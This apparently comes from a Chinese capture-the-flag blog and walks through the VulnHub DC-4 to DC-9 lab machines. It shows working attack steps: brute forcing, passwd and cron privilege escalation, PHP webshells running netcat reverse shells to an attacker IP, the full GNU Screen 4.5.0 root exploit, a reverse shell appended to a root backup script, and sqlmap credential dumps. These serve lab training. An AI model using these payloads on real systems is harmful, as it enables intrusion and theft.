[22][ssh] host: 192.168.124.148   login: jim   password: jibril04                                                                 
1 of 1 target successfully completed, 1 valid password found                                                                      
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-10 08:41:16

ssh賬號:jim密碼:jibril04

upload successful

提示有個mail

讀取一下信封

/var/mail/jim

告訴了我們賬號密碼
upload successful

Password is:  ^xHhA&hvim0y

See ya,
Charles

切換一下用戶

su charles

查看能夠root執行的命令

sudo -l

upload successful
發有能夠以root執行的teehee命令,而teehee的作用是可以向檔案中追加內容

提權

將賬號寫入/etc/passwd中

密碼設定為空

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

對于admin::0:0:::/bin/bash的解釋

[用戶名]:[密碼]:[UID]:[GID]:[身份描述]:[主目錄]:[登錄shell]

參考文章
upload successful
也可以不將密碼設定為空

mkpasswd -m SHA-512 12345

upload successful
然后

sudo teehee -a /etc/passwd 12345:$6$OXVv4N3qtVc0LQeI$CPmgAD9tTpzpCu86IaC9gIx6MYta8/huc3utEd3WwyhUWSbDxKIwi/3XCAHjOqn.rT/lamYZTxbKDoJXkxXaa1:0:0:::/bin/bash

其中-e 類似等于>>
然后切換用戶
upload successful
upload successful

cat /root/flag.txt

888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

寫入定時檔案/etc/crontab

向/etc/crontab檔案中寫入新的定時任務

時間部分全部填寫為*,意思是每分鐘執行一次,通過寫入將/bin/sh的權限修改為4777,這樣就可以在非root用戶下執行它,并且執行期間擁有root權限,

sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh

upload successful

參考文章

安全客

https://www.cnblogs.com/yurang/p/13721862.html

DC5

基本環境的搭建

靶機下載地址:https://download.vulnhub.com/dc/DC-5.zip

基本資訊收集

nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.149
Host is up (0.00027s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37412/udp   status
|   100024  1          49448/tcp6  status
|   100024  1          49885/udp6  status
|_  100024  1          56530/tcp   status
MAC Address: 00:0C:29:1A:8C:74 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.27 ms 192.168.124.149

Nmap scan report for 192.168.124.254

發現開了80,111埠,作業系統是linux,nginx 1.6.2
對埠進一步探測

nmap -sS 192.168.124.149 -p 1-65535
Nmap scan report for 192.168.124.149
Host is up (0.00089s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
56530/tcp open  unknown
MAC Address: 00:0C:29:1A:8C:74 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds

開了56530埠
進入80埠查看
upload successful

發現一個留言功能

嘗試了xss發現并沒有
掃描一下目錄,發現特別的footer.php
upload successful
訪問發現日期總在變
upload successful
發現留言的地方的日期也總在變
upload successful
然后thankyou.php應該是包含了footer.php頁面
嘗試檔案包含讀取thankyou.php檔案和其他檔案,發現能夠成功讀取

upload successful
upload successful
嘗試寫入檔案進行檔案包含,能寫入的檔案像中間件日志檔案,ssh登錄的日志檔案,臨時檔案等等
參考之前的檔案包含https://lnng.top/posts/6b68.html
這個還是嘗試包含中間件的日志檔案吧,因為ssh的登錄埠不知,且其他的方法不好利用
隨便訪問一個木馬
upload successful
蟻劍連接發現連接成功
upload successful

反彈互動shell

在/var/tmp/下新建phpshell檔案,寫入

<?php
system("nc 192.168.124.139 4444 -e /bin/sh");
?>

kali端

nc -l -p 4444

反彈shell

python -c 'import pty;pty.spawn("/bin/bash")'

upload successful

提權

嘗試suid提權

find / -perm -u=s -type f 2>/dev/null

upload successful
GNU Screen是一款由GNU計劃開發的用于命令列終端切換的自由軟體,用戶可以通過該軟體同時連接多個本地或遠程的命令列會話,并在其間自由切換,
GNU Screen可以看作是視窗管理器的命令列界面版本,它提供了統一的管理多個會話的界面和相應的功能,
搜索漏洞

searchsploit screen 4.5.0

發現兩個可利用的漏洞
upload successful
使用第一個
先將41154.sh復制到桌面

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 

這里告訴了我們使用方法
先將第一部分寫入libhax.c檔案中

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

然后編譯

gcc -fPIC -shared -ldl -o libhax.so libhax.c

upload successful
將中間的代碼存入rootshell.c中

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

然后編譯

gcc -o rootshell rootshell.c

upload successful
將剩余代碼保存到dc5.sh

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

并輸入:

set ff=unix

upload successful
將三個檔案上傳到/tmp檔案中
然后修改dc5.sh的權限

chmod 777 dc5.sh

然后執行

./dc5.sh

upload successful
讀取flag
upload successful

cat thisistheflag.txt                                                                                                             
                                                                                                                                  
                                                                                                                                  
888b    888 d8b                                                      888      888 888 888                                         
8888b   888 Y8P                                                      888      888 888 888                                         
88888b  888                                                          888      888 888 888                                         
888Y88b 888 888  .d8888b .d88b.       888  888  888  .d88b.  888d888 888  888 888 888 888                                         
888 Y88b888 888 d88P"   d8P  Y8b      888  888  888 d88""88b 888P"   888 .88P 888 888 888                                         
888  Y88888 888 888     88888888      888  888  888 888  888 888     888888K  Y8P Y8P Y8P                                         
888   Y8888 888 Y88b.   Y8b.          Y88b 888 d88P Y88..88P 888     888 "88b  "   "   "                                          
888    Y888 888  "Y8888P "Y8888        "Y8888888P"   "Y88P"  888     888  888 888 888 888                                         
                                                                                          
                                                                                          


Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated.  :-)

I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.

參考文章

https://www.jianshu.com/p/8f6e1e4d44b9
https://www.anquanke.com/post/id/178958

DC6

基本環境搭建

靶機下載地址:https://download.vulnhub.com/dc/DC-6.zip

基本資訊收集

nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.150
Host is up (0.00049s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
|   256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_  256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:4C:2C:9C (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.49 ms 192.168.124.150

發現開放了80,22ssh埠,作業系統linux
對埠進一步掃描

nmap -sS 192.168.124.150 -p 1-65535
Not shown: 65533 closed ports                                                                                                     
PORT   STATE SERVICE                                                                                                              
22/tcp open  ssh                                                                                                                  
80/tcp open  http                                                                                                                     

沒有新的埠
爆破一下ssh(爆破未成功)

nmap --script=ssh-brute 192.168.124.150

訪問80埠

發現80埠訪問不了,被重定向的wordy頁面和之前一樣
修改本地的dns

linux:
vim /etc/hosts
windows:
C:\Windows\System32\drivers\etc

添加

192.168.124.150 wordy

根據個人ip
插件識別是一個wordpress+apache環境
upload successful
那和之前一樣用wpscan掃描

wpscan --url http://wordy/ --enumerate u

掃描出幾個用戶名

upload successful
將其保存到usename.txt檔案
然后有個提示媽耶鬼能想到
提示地址:https://www.vulnhub.com/entry/dc-6,315/
upload successful

cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt

然后進行爆破

wpscan --url http://wordy/ -U username.txt -P password.txt

upload successful
成功爆破出賬號和密碼

mark / helpdesk01

登錄地址

http://wordy/wp-admin/

upload successful
搜索漏洞:
https://www.exploit-db.com/exploits/45274

發現一個命令執行,漏洞地址
http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools
upload successful
kali開啟監聽埠

netcat -l -p 4444

這個位置修改命令執行反彈shell
upload successful

baidu.com | nc -e /bin/bash 192.168.124.139 4444

反彈一下互動shell

python -c 'import pty;pty.spawn("/bin/bash")'

upload successful

提權

在家目錄發現提示的ssh登錄

/home/mark/stuff

發現登錄賬號密碼

Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

ssh登錄
upload successful
嘗試suid提取,發現沒有可利用的

find / -perm -u=s -type f 2>/dev/null

查看當前用戶可執行操作

sudo -l                                                                                    

upload successful
發現可操作/home/jens/backups.sh,打開發現是一個解壓的腳本
upload successful
向其中寫入命令然后已jens來執行

echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

upload successful

發現成功切換到jens用戶
繼續查看可執行的命令,發現可執行的root的nmap

sudo -l

upload successful
所以需要nmap打開一個shell即可獲得root

nmap中執行shell方法

echo "os.execute('/bin/bash')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
cat ./theflag.txt

成功獲得flag

Yb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b 
 Yb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8P 
  YbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"' 
   YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8) 


Congratulations!!!

Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

DC7

基本環境搭建

靶機下載地址:https://download.vulnhub.com/dc/DC-7.zip

基本資訊收集

nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.151
Host is up (0.00037s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
|   256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_  256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 00:0C:29:52:A9:5B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.37 ms 192.168.124.151

發現開放了22,80埠系統linux,進一步掃描,沒發現其他埠

nmap 192.168.124.151 -p 1-65535

爆破ssh

nmap --script=ssh-brute 192.168.124.151

查看80埠進行進一步資訊的探測CMS是Drupal8,而且告訴我們不是暴力破解
upload successful

查找漏洞

嘗試了msf中的漏洞不行exploit-db中根據版本來也不行
百度一下說這個提示搜索一下這個人,然后發現了github,然后找到了原始碼github原始碼地址
upload successful
upload successful
然后我們在config.php中發現了連接資料庫的賬號密碼,嘗試使用ssh連接,可以看到爆破前面爆破賬號密碼失敗

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

upload successful

提取

先搜尋一下檔案的基本資訊,在mbox中發現一個root執行的檔案(百度的媽耶看不到)

cat mbox

upload successful

cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

發現應該是一個備份的sh腳本
看一下權限www-data和root都是有權限的
upload successful
所以有思路了,如果我們獲得www-data的權限向這個腳本執行任務,那么我們就可以反彈root權限,因為會以root權限定時啟動
看著這個備份腳本可以發現是一個drush配置的命令,它可以改變用戶名密碼

drush sql-dump --result-file=/home/dc7user/backups/website.sql

所以嘗試修改一下密碼

cd /var/www/html
drush user-password admin --password="123456"

upload successful
登錄嘗試,登錄成功
upload successful
發現這個位置是支持擴展的,所以我們想要創建一個webshell可以借助插件,看wp要去下載一個php的插件
upload successful
插件下載地址:https://www.drupal.org/project/php
下載gz格式上傳,然后點如圖的標識
upload successful
然后勾上下圖的東西,點擊最下方的install
upload successful
回到主頁,點擊下圖的東西,創建一個文章
upload successful

upload successful
隨便寫個木馬
upload successful
注意下面的text format要選擇php code
然后蟻劍連接即可
upload successful
再反彈給kali吧,其實可以直接再webshell中反彈shell
upload successful
反彈互動shell

python -c 'import pty;pty.spawn("/bin/bash")'

然后將反彈shell的腳本寫入定時啟動的sh中,反彈root的shell

echo "nc -e /bin/bash 192.168.124.139 7777" >>  /opt/scripts/backups.sh

upload successful
讀取flag

cd /root
ls
theflag.txt
cat theflag.txt

888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-7.  Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

If you enjoyed this CTF, send me a tweet via @DCAU7.

參考文章

https://www.anquanke.com/post/id/187876#h3-3

DC8

基本環境搭建

靶機下載地址:https://download.vulnhub.com/dc/DC-8.zip

基本資訊收集

Nmap scan report for 192.168.124.152
Host is up (0.00058s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 00:0C:29:AE:A9:C3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.58 ms 192.168.124.152

查看發現了80,22埠,作業系統linux
進一步掃描,沒發現其他埠

nmap 192.168.124.152 -p 1-65535

爆破ssh,無結果

nmap --script=ssh-brute 192.168.124.152

查看80端,cms Drupal 7
upload successful

漏洞利用

msf上的基本漏洞利用沒效果,這里發現id嘗試一下sql注入吧
upload successful
先嘗試簡單的報錯注入吧,沒有任何防護直接注入
sqlmap一把梭哈
upload successful

http://192.168.124.152/?nid=1%20and%20updatexml(1,concat(0x7e,database()),1)#

sqlmap -u http://192.168.124.152/?nid=1 -D d7db -T users --dump

成功報出,賬號密碼的hash值
upload successful

05:16:06] [INFO] resumed: 'admin'
[05:16:06] [INFO] resumed: '1567489015'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '1567766626'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[05:16:06] [INFO] resumed: '0'
[05:16:06] [INFO] resumed: ''
[05:16:06] [INFO] resumed: 'filtered_html'
[05:16:06] [INFO] resumed: '1'
[05:16:06] [INFO] resumed: ''
[05:16:06] [INFO] resumed: 'Australia/Brisbane'
[05:16:06] [INFO] resumed: '1'
[05:16:06] [INFO] resumed: '1567498512'
[05:16:06] [INFO] resumed: 'a:5:{s:16:"ckeditor_default";s:1:"t";s:20:"ckeditor_show_toggle";s:1:"t";s:14:"ckeditor_width";s:4:...
[05:16:06] [INFO] resumed: ''
[05:16:06] [INFO] resumed: 'john'
[05:16:06] [INFO] resumed: '1567489250'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '1567497783'
[05:16:06] [INFO] resumed: '[email protected]'
[05:16:06] [INFO] resumed: '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'
[05:16:06] [INFO] resumed: '0'
[05:16:06] [INFO] resumed: ''

爆破一下hash值,使用john這里提示了
爆破成功了john的密碼turtle

C:\root\Desktop> john pass.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
No password hashes left to crack (see FAQ)
C:\root\Desktop> john --show pass.txt
john:turtle

1 password hash cracked, 0 left

掃描一下目錄

dirb http://192.168.124.152

發現user目錄是登錄的地方

登錄成功,發現這個位置可以添加php代碼,直接嘗試反彈shell

http://192.168.124.152/node/3#overlay=node/3/webform/configure
<p>flag</p>
<?php
system("nc -e /bin/sh 192.168.124.139  4444");
?>

然后這個頁面隨便輸出什么點擊提交等待反彈的shell
upload successful
然后反彈互動shell

python -c 'import pty;pty.spawn("/bin/bash")'

提權

先嘗試suid提權

find / -perm -u=s -type f 2>/dev/null
www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

upload successful
發現一個特別的exim4搜索一下漏洞
嘗試一下這個漏洞
upload successful
先復制出來

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh

處理為unix可以的

upload successful
upload successful
開啟一個服務或者你蟻劍連接上傳

python -m SimpleHTTPServer

然后下載下來

wget http://192.168.124.139:8000/46996.sh

里面有使用說明
upload successful

chmod 777 46996.sh
./46996.sh -m netcat

upload successful

Brilliant - you have succeeded!!!



888       888          888 888      8888888b.                             888 888 888 888
888   o   888          888 888      888  "Y88b                            888 888 888 888
888  d8b  888          888 888      888    888                            888 888 888 888
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888



Hope you enjoyed DC-8.  Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm also sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

This challenge was largely based on two things:

1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
2. A suggestion from @theart42

The answer to that question is...

If you enjoyed this CTF, send me a tweet via @DCAU7.

參考文章

https://blog.csdn.net/weixin_43583637/article/details/102828013
https://fan497.top/2020/11/17/vulnhub-DC8/

DC9

基本環境搭建

靶機下載地址:https://download.vulnhub.com/dc/DC-9.zip

基本資訊收集

nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.153
Host is up (0.00041s latency).
Not shown: 998 closed ports
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:20:FE:11 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.124.153

開放了80,22ssh,作業系統linux

埠的進一步掃描(沒發現新的埠)

nmap 192.168.124.153 -p 1-65535

爆破一下ssh

nmap --script=ssh-brute 192.168.124.153

查看80埠,說讓我們看看你其他目錄

upload successful
測驗了一下manage功能似乎沒有啥問題,再search的地方發現了sql注入
upload successful
sqlmap直接跑一下,跑出三個資料庫

sqlmap -u "http://192.168.124.153/results.php" --data "search=" --dbs

upload successful
繼續跑表

users的

sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D users --tables

upload successful

sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D users -T UserDetails --dump
+------+------------+---------------------+-----------+-----------+---------------+
| id   | lastname   | reg_date            | username  | firstname | password      |
+------+------------+---------------------+-----------+-----------+---------------+
| 17   | Morrison   | 2019-12-29 16:58:28 | janitor2  | Scott     | Hawaii-Five-0 |
| 16   | Trump      | 2019-12-29 16:58:26 | janitor   | Donald    | Ilovepeepee   |
| 15   | McScoots   | 2019-12-29 16:58:26 | scoots    | Scooter   | YR3BVxxxw87   |
| 14   | Buffay     | 2019-12-29 16:58:26 | phoebeb   | Phoebe    | smellycats    |
| 13   | Geller     | 2019-12-29 16:58:26 | monicag   | Monica    | 3248dsds7s    |
| 12   | Geller     | 2019-12-29 16:58:26 | rossg     | Ross      | ILoveRachel   |
| 11   | Green      | 2019-12-29 16:58:26 | rachelg   | Rachel    | yN72#dsd      |
| 10   | Tribbiani  | 2019-12-29 16:58:26 | joeyt     | Joey      | Passw0rd      |
| 9    | Bing       | 2019-12-29 16:58:26 | chandlerb | Chandler  | UrAG0D!       |
| 8    | Rubble     | 2019-12-29 16:58:26 | bettyr    | Betty     | BamBam01      |
| 7    | Flintstone | 2019-12-29 16:58:26 | wilmaf    | Wilma     | Pebbles       |
| 6    | Mouse      | 2019-12-29 16:58:26 | jerrym    | Jerry     | B8m#48sd      |
| 5    | Cat        | 2019-12-29 16:58:26 | tomc      | Tom       | TC&TheBoyz    |
| 4    | Rubble     | 2019-12-29 16:58:26 | barneyr   | Barney    | RocksOff      |
| 3    | Flintstone | 2019-12-29 16:58:26 | fredf     | Fred      | 4sfd87sfd1    |
| 2    | Dooley     | 2019-12-29 16:58:26 | julied    | Julie     | 468sfdfsd2    |
| 1    | Moe        | 2019-12-29 16:58:26 | marym     | Mary      | 3kfs86sfd     

upload successful

Staff的

sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff --tables

報出了倆表

Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+
sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff -T Users --dump

Users的表

Database: Staff
Table: Users
[1 entry]
+--------+----------+----------------------------------+
| UserID | Username | Password                         |
+--------+----------+----------------------------------+
| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+

StaffDetails的表

sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff -T StaffDetails --dump
Database: Staff
Table: StaffDetails
[17 entries]
+------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| id   | email                 | phone          | lastname   | reg_date            | firstname | position                      |
+------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| 2    | [email protected]    | 46457131654    | Dooley     | 2019-05-01 17:32:00 | Julie     | Human Resources               |
| 17   | [email protected]  | 47836546413    | Morrison   | 2019-12-24 03:41:04 | Scott     | Assistant Replacement Janitor |
| 15   | [email protected]    | 454786464      | McScoots   | 2019-05-01 20:16:33 | Scooter   | Resident Cat                  |
| 13   | [email protected]   | 8092432798     | Geller     | 2019-05-01 17:32:00 | Monica    | Marketing                     |
| 11   | [email protected]   | 823897243978   | Green      | 2019-05-01 17:32:00 | Rachel    | Personal Assistant            |
| 9    | [email protected] | 189024789      | Bing       | 2019-05-01 17:32:00 | Chandler  | President - Sales             |
| 7    | [email protected]    | 243457487      | Flintstone | 2019-05-01 17:32:00 | Wilma     | Accounts                      |
| 5    | [email protected]      | 802438797      | Cat        | 2019-05-01 17:32:00 | Tom       | Driver                        |
| 3    | [email protected]     | 46415323       | Flintstone | 2019-05-01 17:32:00 | Fred      | Systems Administrator         |
| 1    | [email protected]     | 46478415155456 | Moe        | 2019-05-01 17:32:00 | Mary      | CEO                           |
| 16   | [email protected]   | 65464646479741 | Trump      | 2019-12-23 03:11:39 | Donald    | Replacement Janitor           |
| 14   | [email protected]   | 43289079824    | Buffay     | 2019-05-01 17:32:02 | Phoebe    | Assistant Janitor             |
